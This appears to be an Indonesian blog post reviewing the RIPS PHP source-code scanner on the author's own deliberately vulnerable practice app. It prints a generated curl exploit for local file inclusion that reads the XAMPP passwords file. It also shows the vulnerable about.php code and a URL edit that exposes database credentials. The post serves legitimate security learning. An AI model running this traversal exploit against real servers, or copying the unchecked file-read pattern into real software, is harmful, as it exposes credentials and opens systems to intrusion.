Dulu, saya pernah membuat sebuah aplikasi sederhana yang di-design sedemikian rupa agar vulnerable terhadap berbagai tipe serangan web yang umum (untuk belajar hacking web). Aplikasi ini dibuat dalam bahasa pemrograman PHP. Beberapa bug/security hole yang sengaja dibuat pada aplikasi ini antara lain: SQL injection, XSS, Local file inclusion. Masih banyak teknik serangan lain yang bisa digunakan untuk mengeksploitasi aplikasi ini. Kalau penasaran, silakan mengeksplorasi aplikasinya disini. Masih berkaitan dengan aplikasi saya yang vulnerable ini, belakangan saya disibukkan dengan kegiatan hardening beberapa server, termasuk hardening aplikasinya. Dalam melakukan hardening aplikasi itu berarti termasuk melakukan analisis probabilitas vulnerability sampai level source code aplikasinya. Untuk kegiatan hardening itu, saya menggunakan software komersil untuk analisis vulnerability application pada source code bernama Checkmarx. Nah, untuk kali ini, dalam melakukan analisis vulnerability aplikasi kecil saya yang tidak komersil ini, saya mencari tau apakah ada tool yang secara fungsional sama dengan Checkmarx tetapi free. Setelah itu, jatuhlah pilihan saya pada RIPS, tool free untuk melakukan analisis source code dalam pemrograman PHP. Berikut ini hasil setelah saya hands-on dengan tool RIPS ini.
Tool RIPS ini simple tapi elegan. Kita hanya tinggal memasukkan direktori yang akan di scan. Di mesin Windows saya ini, kebetulan saya menggunakan XAMPP. Saya tinggal memasukkan path “C:\xampp\htdocs\<namawebsiteproject>\” pada isian path. Beberapa isian lain merupakan opsi scanner dalam melakukan analisis.
Beberapa waktu kemudian, hasil scanning vulnerability source code telah selesai dan muncul report seperti berikut ini:
Ternyata RIPS dapat menangkap beberapa vulnerability yang ada pada aplikasi saya. Good job. Hehe. Tidak sampai disitu saja. Setelah mengexplore menu-menunya, klak klik sana sini, RIPS juga dapat dimanfaatkan untuk menggenerate exploit untuk setiap vulnerability yang dideteksi olehnya. Cool! Pada kesempatan kali ini, saya kasih contoh saat RIPS membantu saya membuat exploit untuk vulnerability local file inclusion (file disclosure) pada web apps saya.
Setelah mengisi form di atas itu sesuai keinginan saya, RIPS kemudian menggenerate exploitnya. Pada form itu ada beberapa bagian yang saya ubah. Yaitu URL aplikasi saya, ada di “http://$target/websitenet/about.php”. Karena saya menggunakan XAMPP, saya ingin mencoba apakah aplikasi saya ini bisa mendapatkan file passwords bawaan XAMPP yang ada di direktori “C:\xampp\passwords.txt” atau dalam perspektif aplikasi saya, berarti ada di path “../../passwords.txt”. Oleh karena itu $_GET parameter pada file saya isikan dengan value “../../passwords.txt”.
#!/usr/bin/php -f <?php # # about.php curl exploit # // // HTTP GET, // $target = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, "http://$target/about.php?file=../../passwords.txt"); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3); curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target"); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; ?>
Berikut ini response dari webserver ketika dikirimkan special crafted request dari exploit kita…
Voila! Aplikasi cerdas ini bisa membuat exploit pada aplikasi saya dengan sempurna. Sedikit membahas vulnerability file disclosure pada aplikasi saya ini, pada file about.php, terdapat source code:
<?php $file=$_GET['file']; if(!isset($file)){ $file="README.txt"; } $handle=fopen($file,"r"); $isi=fread($handle, filesize($file)); echo $isi; fclose($handle); ?>
About.php diinstruksikan untuk membuka file README.txt, membaca isinya, kemudian menampilkan isi file tersebut. Saya sudah membuat error handler jika variable $file kosong, kita asumsikan $file tetap mengacu ke file README.txt. Variable $file ini didapatkan dari URL, tepatnya pada parameter bernama “file”. Apa akibatnya jika saya mengganti nilai parameter “file” di URL?
http://server.org/about.php?file=README.txtmenjadi
http://server.org/about.php?file=db.inc.phpTentu saja saya bisa membaca isi konfigurasi database aplikasi yang ada di file db.inc.php. Termasuk didalamnya adalah username dan password database aplikasi, nama databasenya, dan sebagainya.
Permisi mas, source code nya yg informasi trayek angkot bandung nya apakah bisa dishare ? kebetulan saya ada tugas kuliah, nah kebetulan saya ambil judul informasi trayek angkot dimalang, nah saya kebingungan caranya biar di trayek nya itu ada informasi untuk oper angkotnya seperti punyanya mas, makasih sebelumnya 😀